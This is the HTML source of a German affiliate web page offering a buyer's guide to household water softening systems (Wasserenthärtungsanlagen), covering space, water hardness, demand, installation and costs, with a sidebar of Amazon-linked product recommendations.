	<li id="menu-item-706" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/magnetfeldgeneratoren-wasserenthaertungsanlagen/" class="dropdown-toggle ">Magnetfeldgeneratoren – Wasserenthärtungsanlagen</a><div class="clearfix"></div></li>
	<li id="menu-item-707" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/osmoseanlagen-wasserenthaertungsanlagen/" class="dropdown-toggle ">Osmoseanlagen – Wasserenthärtungsanlagen</a><div class="clearfix"></div></li>
</ul>
</li>
</ul>                                <form role="search" method="get" id="navbarsearchform" class="searchform_header pull-right" action="https://wasserenthaertungsanlagen-ratgeber.de"><div class="navbar_search"><div class="input-group-custom full-size"><input type="text" class="form-control-custom col10" placeholder="Hersteller, Modell, Typ eingeben" name="s" id="s"><button class="btn-search pull-right" type="submit" id="navbarsearchsubmit"><i class="fa fa-search"></i></button></div></div></form>                        </div>
                        </div>
			</nav>
			                                        <div class="custom-container">
                    
					<div class="full-size">
                            <div id="breadcrumb" prefix="v: http://rdf.data-vocabulary.org/#">
            <span typeof="v:Breadcrumb"><a href="https://wasserenthaertungsanlagen-ratgeber.de" rel="v:url" property="v:title">Wasserenthärtungsanlagen</a></span> &raquo; Kaufratgeber für Wasserenthärtungsanlagen!</div>                        </div>
				</div>

                    
	<div class="custom-container custom-container-margin-top">
		<div class="full-size">
			<div class="col9 content-left" id="content-wrapper">
                                                                    <div class="clearfix"></div>

				<div class="box content">
                                                <p><h1 style="text-align: center;"><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 36pt;">Kaufratgeber Wasserenthärtungsanlagen!</span></h1>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Die Gegebenheiten des zukünftigen Standortes</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Eine <a href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener"><strong><span style="color: #353535;">Enthärtungsanlage</span> </strong></a>wird <strong><span style="color: #ffc654;">direkt nach der Wasseruhr an der Hauptzuleitung</span></strong> des Hauses montiert. Deshalb braucht man in der Nähe der Wasseruhr ca. <strong><span style="color: #ffc654;">1 m² Platz</span></strong>, einen <strong><span style="color: #ffc654;">Stromanschluss</span></strong>, sowie einen <strong><span style="color: #ffc654;">Abfluss</span></strong>. Erfüllt der gewünschte Standort diese Dinge nicht, dann sollte ein anderer Platz gesucht oder der Standort so umgestaltet werden, dass es passt. Je nach Anlagentyp und Hersteller brauchen viele <a href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener"><span style="color: #353535;"><strong>Entkalkungsanlagen</strong> </span></a>auch weniger Platz als 1 m².</span></p>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;"><strong> </strong></span></p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Ist der Grad der Wasserhärte bekannt?</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Je nachdem wie hoch der Härtegrad des Wassers am Standort ist, <strong><span style="color: #ffc654;">variiert die erforderliche Kapazität</span></strong> der Entkalkungsanlage! Die Wasserhärte kann entweder mit Hilfe von <a href="https://wasserenthaertungsanlagen-ratgeber.de/wasserhaerte-teststreifen/" target="_blank" rel="noopener"><strong><span style="color: #353535;">Teststreifen</span> </strong></a>selbst ermittelt oder beim zuständigen Wasseraufbereiter erfragt bzw. auf dessen Webseite nachgesehen werden. Teststreifen gibt es im Onlinehandel <strong><span style="color: #ffc654;">für kleines Geld </span></strong>zu kaufen. Das nachfragen bzw. nachschauen beim Wasseraufbereiter hingegen, ist <strong><span style="color: #ffc654;">kostenlos</span> </strong>und geht schneller.</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Wie hoch ist der Wasserbedarf im Haus?</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Um die richtige Enthärtungsanlage auswählen zu können, ist es sehr wichtig <strong><span style="color: #ffc654;">den ungefähren Wasserbedarf</span></strong> zu kennen. Diesen zu ermitteln kann auf zwei Wegen erfolgen. Der erste Weg wäre es den <strong><span style="color: #ffc654;">Durchschnittsverbrauch</span> </strong>in Deutschland pro Kopf anzunehmen – dies wären 120 l Wasser pro Tag. Der andere Weg wäre, die Werte der Wasseruhr über mehrere Tage, im besten Fall min. 10 Tage, jeden Tag zur gleichen Uhrzeit aufzuschreiben und <strong><span style="color: #ffc654;">daraus den Durchschnittswert zu errechnen.</span></strong> Am Ende jeder Rechnung sollte vorsichtshalber noch ein kleiner <strong><span style="color: #ffc654;">Sicherheitsaufschlag von 20-30 %</span></strong> erfolgen – Verbrauchsspitzen kommen immer mal vor.</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Wer installiert und wartet die Anlage?</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Die Anlage selbst zu installieren erscheint im ersten Moment natürlich als eine sehr gute Idee, jedoch sollte darauf geachtet werden, dass dadurch <strong><span style="color: #ffc654;">die Garantie nicht erlischt.</span></strong> Viele Entkalkunsanlagen besitzen einen <strong><span style="color: #ffc654;">DVGW-Aufkleber (Deutscher Verein des Gas- und Wasserfaches),</span></strong> was bedeutet, dass die <span style="color: #353535;"><a style="color: #353535;" href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener"><strong>Entkalkungsanlage</strong> </a></span>vom DVGW geprüft ist. Soll eine Anlage verbaut werden die DVGW geprüft ist muss <strong><span style="color: #ffc654;">kein Rohrtrenner/Systemtrenner</span></strong> eingebaut werden. Dafür kann es aber sein, dass die Garantie erlischt, wenn die Wartungen nicht durch<strong><span style="color: #ffc654;"> zertifiziertes Fachpersonal</span></strong> vom Hersteller durchgeführt wurde!</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Was darf die Enthärtungsanlage kosten?</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Für die Installation der Anlage sollten vorsichtshalber <strong><span style="color: #ffc654;">300-700 Euro in der Hinterhand</span></strong> gehalten werden. Der Preis richtet sich danach, wie aufwendig die Montage der Enthärtungsanlage ist und das kann vorab niemand genau bestimmen. Ebenso sollte <strong><span style="color: #ffc654;">die jährliche Wartung mit einkalkuliert werden</span></strong> – Kostenpunkt ca. 100-150 Euro! Für das Anschaffungsbudget spielt die jährliche Wartung zwar keine Rolle, dennoch sollte sie nicht in Vergessenheit geraten.</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Wasserenthärtungsanlage – wo kaufen?</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Der Trend geht wie überall anders auch zum <strong><span style="color: #ffc654;">Onlinekauf</span> </strong>über. Dort locken <strong><span style="color: #ffc654;">günstigere Preise</span></strong> als beim Fachhändler oder im Baumarkt. Viele gehen vorab in den Fachhandel um sich ausgiebig beraten zu lassen und <strong><span style="color: #ffc654;">kaufen letzten Endes im Internet.</span></strong> Was dabei jedoch oft in Vergessenheit gerät ist der vorherige Kontakt zu einem möglichen Monteur. Viele Monteure sträuben sich <span style="color: #353535;"><a style="color: #353535;" href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener"><strong>Wasserenthärtungsanlagen</strong> </a></span>zu montieren die aus dem Internet bestellt wurden, deshalb sollte vor dem Kauf auf jeden Fall <strong><span style="color: #ffc654;">mit dem Monteur geklärt werden</span></strong> ob er diese trotzdem installiert.</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Braucht eine Enthärtungsanlage einen gewissen Komfort?</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Die Frage lässt sich nicht pauschal beantworten, denn sie hängt von dem zukünftigen Nutzer ab. Ein gewisser Komfort kann einem <strong><span style="color: #ffc654;">natürlich sehr behilflich sein</span> </strong>und sollte auch genommen werden, wenn es denn möglich ist. So gibt es mittlerweile smarte Enthärtungsanlagen die <strong><span style="color: #ffc654;">via App gesteuert</span></strong> werden können. Die App zeigt an, wann das Salz aufgefüllt werden muss oder sendet eine <strong><span style="color: #ffc654;">Benachrichtigung an den Nutzer,</span></strong> wenn eine Störung vorliegt – sehr praktisch. Wer möchte schon jeden Tag nach der Anlage schauen? Ebenso praktisch ist <a href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener"><span style="color: #353535;"><strong>eine 2-Säulen-Enthärtungsanlage</strong></span></a>. Mit einer solchen Anlage steht dem Nutzer auch während des Regenerationsprozesses weiches Wasser zur Verfügung – bei 1-Säulen-Maschinen ist dies nicht der Fall! <strong><span style="color: #ffc654;">Was hiervon jedoch gebraucht oder gewünscht ist,</span></strong> ist absolut abhängig von den Wünschen der zukünftigen Nutzer.</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 18pt; color: #353535;"><strong>Fazit</strong></span></h2>
<p><span style="font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 14pt;">Dass was eine <span style="color: #353535;"><strong><a style="color: #353535;" href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener">Wasserenthärtungsanlage</a> </strong></span>für jemanden leisten soll oder muss <strong><span style="color: #ffc654;">ist so individuell,</span></strong> dass keine Allgemeine Antwort auf die Frage nach der perfekten <a href="https://wasserenthaertungsanlagen-ratgeber.de/" target="_blank" rel="noopener"><strong><span style="color: #353535;">Enthärtungsanlage</span> </strong></a>zu finden ist – nur eine individuelle Antwort! Mit den Tipps aus diesem Artikel ist der Weg zu einer passenden Wasserenthärtungsanlage zumindest <strong><span style="color: #ffc654;">einfacher und weniger umständlich</span></strong> als er es ohne diese Tipps wäre!</span></p>
</p>
                        
                        				</div>				                    
			</div>
			
			<div class="col3 sidebar-right" id="sidebar">
				<div id="recommendation_feed-2" class="widget widget_recommendation_feed"><h4>Produktempfehlung</h4>
<div class="textwidget">
	<div class="clearfix"></div>
	<div class="full-size produkte product-cols">
                        <div>
	<div class="thumbnail">
		<div class="caption">
			<h3>
				<span><a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/filtrasoft/filtrasoft-basic-40-enthaertungsanlage-entkalkungsanlage-computergesteuert/"
					title="zum Produkt: FILTRASOFT BASIC 40 Enthärtungsanlage / Entkalkungsanlage computergesteuert">FILTRASOFT BASIC 40 Enthärtungsanlage / Entkalkungsanlage computergesteuert</a></span>
			</h3>

                            <div
				class="move-over-thumbnail-container-175 text-center">
                                            <a
					href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/filtrasoft/filtrasoft-basic-40-enthaertungsanlage-entkalkungsanlage-computergesteuert/"
					title="zum Produkt: FILTRASOFT BASIC 40 Enthärtungsanlage / Entkalkungsanlage computergesteuert">
                               <noscript><img width="117" height="175" src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/310dlNW0ZiL-117x175.jpg" class="mouse-over-thumbnail wp-post-image" alt="Vorderansicht der FILTRASOFT BASIC 40" /></noscript><img width="117" height="175" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20117%20175%22%3E%3C/svg%3E' data-src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/310dlNW0ZiL-117x175.jpg" class="lazyload mouse-over-thumbnail wp-post-image" alt="Vorderansicht der FILTRASOFT BASIC 40" />                        </a>
                                    </div>
                
            
            <div class="rating" style="height:36px;"></div>            
                                <div class="price" style="margin-bottom: 8px;">
                    	1099,00 € *
                    	                    	<span class="mwst">inkl. MwSt.</span>
			</div>
                                        <p class="mini">
				<strong>Enthärtungsleistung</strong>
				<br />1600 Liter bei 20 °dH</p>
                                                <p class="mini">
				<strong>Salzverbrauch je Regeneration</strong>
				<br />1,2 kg</p>
                                                <p class="mini">
				<strong>Wasserverbrauch je Regeneration</strong>
				<br />70 Liter</p>
                                                <p class="mini">
				<strong>Stromverbrauch</strong>
				<br />5 Watt</p>
                                                <p class="mini">
				<strong>usreichend für x Personen</strong>
				<br />2-5 Personen</p>
                                                <p class="mini">
				<strong>Anzahl der Säulen</strong>
				<br />1</p>
                                                <p class="mini">
				<strong>Regenerationssteuerung</strong>
				<br />Mengengesteuert mit Zwangsregeneration</p>
                                    <a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/filtrasoft/filtrasoft-basic-40-enthaertungsanlage-entkalkungsanlage-computergesteuert/"
				class="btn btn-md btn-detail btn-block">Produktbeschreibung</a>
                            <form action="https://wasserenthaertungsanlagen-ratgeber.de/go/"
				method="post" target="_blank">
				<input type="hidden" value="http://www.amazon.de/dp/B004OSM5Y8/?tag=weha-21"
					name="affiliate_link"> <input type="submit"
					value="➔ Angebot ansehen" class="btn btn-ap btn-md">
			</form>
                        </div>
                    <span class="modified"> <small>
            		* am 3.03.2020 um 21:32 Uhr aktualisiert            	</small>
		</span>
                </div>
</div>                    </div>
</div>
</div><div id="produkt_select_feed-2" class="widget widget_produkt_select_feed"><h4>Weitere Produkte</h4><ul class="items">
                                    <li class="produkt full-size">
                                                    <div class="col4 widget_product_box">
			<a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/water2buy/wasserenthaerter-w2b800-durch-water2buy-water-softeners-zaehler-effizient-fuer-die-regionen-franzoesischen-mit-eine-harte-wasser/">
                                    <noscript><img width="50" height="50" src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31TdMnQbU7L-50x50.jpg" class="attachment-slider_small size-slider_small wp-post-image" alt="Die Anlage in der Vorderansicht" /></noscript><img width="50" height="50" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2050%2050%22%3E%3C/svg%3E' data-src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31TdMnQbU7L-50x50.jpg" class="lazyload attachment-slider_small size-slider_small wp-post-image" alt="Die Anlage in der Vorderansicht" />                                </a>
		</div>
                                                <div
			class="col8">                            <a
				href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/water2buy/wasserenthaerter-w2b800-durch-water2buy-water-softeners-zaehler-effizient-fuer-die-regionen-franzoesischen-mit-eine-harte-wasser/">
                                Wasserenthärter – > w2b800 durch Water2buy Water Softeners – > Zähler effizient für die Regionen Französischen mit eine harte Wasser – > entfernt alles entkalkt – > Ventil, Bypass-G R A T U I T E – > Gar. 7 Jahre<br />
			</a>

                                                        </div>                        <div class="clearfix"></div>
	</li>
                                    <li class="produkt full-size">
                                                    <div class="col4 widget_product_box">
			<a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/medasa/medasa-cea-32-enthaertungsanlage-wasserenthaertungsanlage-entkalkungsanlage-weichwasser/">
                                    <noscript><img width="33" height="50" src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31rhnvAEE0L-33x50.jpg" class="attachment-slider_small size-slider_small wp-post-image" alt="Vorderansicht der Enthärtungsanlage von MEDASA" /></noscript><img width="33" height="50" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2033%2050%22%3E%3C/svg%3E' data-src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31rhnvAEE0L-33x50.jpg" class="lazyload attachment-slider_small size-slider_small wp-post-image" alt="Vorderansicht der Enthärtungsanlage von MEDASA" />                                </a>
		</div>
                                                <div
			class="col8">                            <a
				href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/medasa/medasa-cea-32-enthaertungsanlage-wasserenthaertungsanlage-entkalkungsanlage-weichwasser/">
                                MEDASA CEA-32 Enthärtungsanlage Wasserenthärtungsanlage Entkalkungsanlage Weichwasser<br />
			</a>

                                                        </div>                        <div class="clearfix"></div>
	</li>
                                    <li class="produkt full-size">
                                                    <div class="col4 widget_product_box">
			<a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/aquintos-wasseraufbereitung/wasserenthaerter-top-line-mkc-32-wasserenthaertungsanlage-enthaertungsanlage-entkalkungsanlage-weichwasseranlage/">
                                    <noscript><img width="50" height="50" src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/41o2BfZNmbHL-50x50.jpg" class="attachment-slider_small size-slider_small wp-post-image" alt="Die Top-Line MKC 32 in der Vorderansicht" /></noscript><img width="50" height="50" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2050%2050%22%3E%3C/svg%3E' data-src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/41o2BfZNmbHL-50x50.jpg" class="lazyload attachment-slider_small size-slider_small wp-post-image" alt="Die Top-Line MKC 32 in der Vorderansicht" />                                </a>
		</div>
                                                <div
			class="col8">                            <a
				href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/aquintos-wasseraufbereitung/wasserenthaerter-top-line-mkc-32-wasserenthaertungsanlage-enthaertungsanlage-entkalkungsanlage-weichwasseranlage/">
                                Wasserenthärter Top-Line MKC 32 Wasserenthärtungsanlage-Enthärtungsanlage-Entkalkungsanlage-Weichwasseranlage<br />
			</a>

                                                        </div>                        <div class="clearfix"></div>
	</li>
                                    <li class="produkt full-size">
                                                    <div class="col4 widget_product_box">
			<a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/water2buy/wasserenthaerter-as200-w2b200-von-water2buy-wasser-enthaertungsanlagen-inklusive-bypass-ventil-hervorragende-enthaertungsanlage/">
                                    <noscript><img width="50" height="50" src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31bYpkuMAGL-50x50.jpg" class="attachment-slider_small size-slider_small wp-post-image" alt="Vorderansicht der AS200 Enthärtungsanlage" /></noscript><img width="50" height="50" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2050%2050%22%3E%3C/svg%3E' data-src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31bYpkuMAGL-50x50.jpg" class="lazyload attachment-slider_small size-slider_small wp-post-image" alt="Vorderansicht der AS200 Enthärtungsanlage" />                                </a>
		</div>
                                                <div
			class="col8">                            <a
				href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/water2buy/wasserenthaerter-as200-w2b200-von-water2buy-wasser-enthaertungsanlagen-inklusive-bypass-ventil-hervorragende-enthaertungsanlage/">
                                Wasserenthärter AS200 –> W2b200 von Water2Buy Wasser-Enthärtungsanlagen, inklusive Bypass-Ventil, hervorragende Enthärtungsanlage<br />
			</a>

                                                        </div>                        <div class="clearfix"></div>
	</li>
                                    <li class="produkt full-size">
                                                    <div class="col4 widget_product_box">
			<a href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/water2buy/wasserenthaerter-wasser-as500-w2b500-von-reverse-enthaertungsanlagen-wasser-bypass-ventil-g-r-a-t-i-s-7-jahre-garantie/">
                                    <noscript><img width="50" height="50" src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31pMjuHe2BhL-50x50.jpg" class="attachment-slider_small size-slider_small wp-post-image" alt="Vorderansicht der AS500 Reverse Weichwasseranlage" /></noscript><img width="50" height="50" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2050%2050%22%3E%3C/svg%3E' data-src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/31pMjuHe2BhL-50x50.jpg" class="lazyload attachment-slider_small size-slider_small wp-post-image" alt="Vorderansicht der AS500 Reverse Weichwasseranlage" />                                </a>
		</div>
                                                <div
			class="col8">                            <a
				href="https://wasserenthaertungsanlagen-ratgeber.de/produkt/water2buy/wasserenthaerter-wasser-as500-w2b500-von-reverse-enthaertungsanlagen-wasser-bypass-ventil-g-r-a-t-i-s-7-jahre-garantie/">
                                Wasserenthärter Wasser AS500 – > w2b500 von Reverse Enthärtungsanlagen Wasser – > Bypass-Ventil G R A T I S – > 7 Jahre Garantie<br />
			</a>

                                                        </div>                        <div class="clearfix"></div>
	</li>
                            </ul>
</div><div id="product_filter_feed-2" class="widget widget_product_filter_feed"><h4>Produktsuche</h4>
<form id="1389842341-filter-form"
	class="filter-widget" action="https://wasserenthaertungsanlagen-ratgeber.de/produktfilter/"
	method="get">
                            <div class="filter-widget-first-headline">
                    Preis von - bis : 
                    <span
			id="1389842341-filter-widget-min">0</span> - <span
			id="1389842341-filter-widget-max">1150</span> 
                    €                </div>
	<div class="full-size"
		id="1389842341-filter-slider-component-container">
		<div style="float: left; width: 10px;">&nbsp;</div>
		<input name="min_price"
			id="1389842341-filter-min_price" type="hidden"
			value="0">
		<div id="1389842341-filter-slider-component"
			style="position: right;">
			<div id="1389842341-filter-slider-widget"
				data-placement="top" ></div>
		</div>
		<input name="max_price"
			id="1389842341-filter-max_price"
			value="1150" type="hidden">
		<div class="clearfix"></div>
	</div>
                <div class="filter-widget-headline">Marke</div><select id="1389842341-filter-brand" name="brand" class="widefat filter-widget-select" style="width: 100%;"><option value="none">Marke auswählen</option><option value="ambiclean">AmbiClean</option><option value="apera-instruments">Apera Instruments</option><option value="aqmos">AQMOS</option><option value="aquanatura">AQUANATURA</option><option value="aquintos-wasseraufbereitung">Aquintos Wasseraufbereitung</option><option value="bayer">Bayer</option><option value="broxo">Broxo</option><option value="bwt">BWT</option><option value="dennerle">Dennerle</option><option value="ez">EZ</option><option value="filtermaster">Filtermaster</option><option value="filtrasoft">FILTRASOFT</option><option value="ghb">GHB</option><option value="greenresin">GreenResin</option><option value="gruenbeck">Grünbeck</option><option value="h-tronic">H-Tronic</option><option value="hamann">Hamann</option><option value="hm-digital">HM Digital</option><option value="holste">HOLSTE</option><option value="ivt">IVT</option><option value="judo">Judo</option><option value="lfs-cleantec">LFS CLEANTEC</option><option value="medasa">MEDASA</option><option value="merck">MERCK</option><option value="nortembio">NortemBio</option><option value="osmotech">Osmotech</option><option value="pure%c2%b2">Pure²</option><option value="regenit">Regenit</option><option value="regesal">Regesal</option><option value="retec">Retec</option><option value="salina">Salina</option><option value="solarprofi-ohg">SolarProfi oHG</option><option value="syntrox-germany">Syntrox Germany</option><option value="syr">Syr</option><option value="tc-aqua">TC-Aqua</option><option value="unbekannt">Unbekannt</option><option value="vinoferm">Vinoferm</option><option value="water2buy">Water2buy</option><option value="woldoclean">WoldoClean</option><option value="woohse">WOOHSE</option></select><div class="filter-widget-headline">Typ</div><select id="1389842341-filter-type" name="type" class="widefat filter-widget-select" style="width: 100%;"><option value="none">Typ auswählen</option><option value="digitales-wasserhaertemessgeraet">Digitales Wasserhärtemessgerät</option><option value="enthaertungsanlage-ueber-1000e">Enthärtungsanlage über 1000€</option><option value="enthaertungsanlage-unter-1000e-2">Enthärtungsanlage unter 1000€</option><option value="entkalker">Entkalker</option><option value="hauswasserfilter">Hauswasserfilter</option><option value="kationenaustauscherharz">Kationenaustauscherharz</option><option value="magnetfeldgenerator">Magnetfeldgenerator</option><option value="osmoseanlage">Osmoseanlage</option><option value="regeneriersalz">Regeneriersalz</option><option value="wasserhaerte-testset-titrationsverfahren">Wasserhärte Testset Titrationsverfahren</option><option value="wasserhaerte-teststreifen">Wasserhärte Teststreifen</option></select>                <div class="filter-widget-headline">Bewertung</div>
	<i class="fa fa-star-o stars stars-widget"
		id="1389842341-filter-star1"></i> <i
		class="fa fa-star-o stars stars-widget"
		id="1389842341-filter-star2"></i> <i
		class="fa fa-star-o stars stars-widget"
		id="1389842341-filter-star3"></i> <i
		class="fa fa-star-o stars stars-widget"
		id="1389842341-filter-star4"></i> <i
		class="fa fa-star-o stars stars-widget"
		id="1389842341-filter-star5"></i>
                & mehr                <input type="hidden" name="stars"
		id="1389842341-filter-stars-product-filter-widget">
                            <div id="1389842341-filter-reset"
		class="filter-reset-button">
		<i class="fa fa-undo" aria-hidden="true"></i>
             Filter zurücksetzen</div>

	<div class="filter-widget-button">
		<input class="btn btn-submit" type="submit"
			value="Produkte anzeigen">
	</div>


</form>

</div>			</div>
            <div class="clearfix"></div>
		</div>
	</div>
		
<footer class="custom-container full-size" id="footer">
                <div class="col3">
                    </div>
        <div class="col6">
            <div id="nav_menu-4" class="widget widget_nav_menu"><div class="menu-imressum-container"><ul id="menu-imressum" class="menu"><li id="menu-item-361" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-361"><a href="https://wasserenthaertungsanlagen-ratgeber.de/impressum/">Impressum</a></li>
</ul></div></div>        </div>
        <div class="col3 service">
            <div id="nav_menu-5" class="widget widget_nav_menu"><div class="menu-datenschutz-container"><ul id="menu-datenschutz" class="menu"><li id="menu-item-362" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-362"><a href="https://wasserenthaertungsanlagen-ratgeber.de/datenschutz/">Datenschutz</a></li>
</ul></div></div>                    </div>
        <div class="clearfix"></div>
        <hr>
        <div class="full-size copyright text-center">
            <p>&copy; 2025 -  </a></p>
        </div>
        </footer>
    </div>
    <a href="https://wasserenthaertungsanlagen-ratgeber.de" id="blogurl" style="display: none;"></a>
<div id="debug-request"></div>
<noscript><style>.lazyload{display:none;}</style></noscript><script data-noptimize="1">window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;</script><script async data-noptimize="1" src='https://wasserenthaertungsanlagen-ratgeber.de/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js?ao_version=3.1.13'></script>
<script type='text/javascript' id='toc-front-js-extra'>
/* <![CDATA[ */
var tocplus = {"smooth_scroll":"1","visibility_show":"Anzeigen","visibility_hide":"Ausblenden","visibility_hide_by_default":"1","width":"325px"};
/* ]]> */
</script>





		<!-- Cookie Notice plugin v1.3.2 by Digital Factory https://dfactory.eu/ -->
		<div id="cookie-notice" role="banner" class="cookie-notice-hidden cookie-revoke-hidden cn-position-bottom" aria-label="Cookie Notice" style="background-color: rgba(53,53,53,1);"><div class="cookie-notice-container" style="color: #fff;"><span id="cn-notice-text" class="cn-text-container">Um diese Seite stehts verbessern zu können, nutzen wir Google Analytics. Mit der Nutzung der Seite stimmen Sie dem Einsatz dessen zu.</span><span id="cn-notice-buttons" class="cn-buttons-container"><a href="#" id="cn-accept-cookie" data-cookie-set="accept" class="cn-set-cookie cn-button bootstrap button" aria-label="OK, gerne!">OK, gerne!</a><a href="https://wasserenthaertungsanlagen-ratgeber.de/datenschutz/" target="_blank" id="cn-more-info" class="cn-more-info cn-button bootstrap button" aria-label="Datenschutzerklärung">Datenschutzerklärung</a></span><a href="javascript:void(0);" id="cn-close-notice" data-cookie-set="accept" class="cn-close-icon" aria-label="OK, gerne!"></a></div>
			
		</div>
		<!-- / Cookie Notice plugin -->
	




    
    
    
    <link rel="stylesheet" href="//fonts.googleapis.com/css?family=Open+Sans:400,600,700">    <script>
    jQuery(document).ready(function($){
    	initBackTotop();
    	
    });
    </script>
    <a href="#" class="back-to-top back-to-top-is-visible back-to-top-fade-out"><i class="fa fa-2x fa-angle-double-up"></i></a>
    
<script>
    jQuery(document).ready(function($){
    	cookiePolicyElem = jQuery('#as-cookie-policy-bar');
        cookiePolicyHideEffect = "fade"; 
cookiePolicyExpireTime = 86400;
        
        jQuery(document).on( 'click', '.cookie-policy-accept-button', function (e) {
            e.preventDefault();
            setCookiePolicyCookie();
        });
        displayCookiePolicy();
    	
    });
    </script>
<div  id="as-cookie-policy-bar" class="cookie-policy-bar" style="bottom:0;"><span class="cookie-policy-message"> Damit diese Seite ordnungsgemäß funktioniert, platzieren wir kleine Datendateien auf Ihrem Gerät, die als Cookies bezeichnet werden. </span><a href="#" id="cookie-policy-accept-button" class="cookie-policy-accept-button btn">Ok</a><a href=" " target="_blank" class="cookie-policy-read-more-button btn">mehr Informationen</a></div><span style="display:none;" id="acftacn">e85ede50fa</span>

<script defer src="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/cache/autoptimize/js/autoptimize_1306449eded6e81c311ce3add9aa413a.js"></script></body>
</html>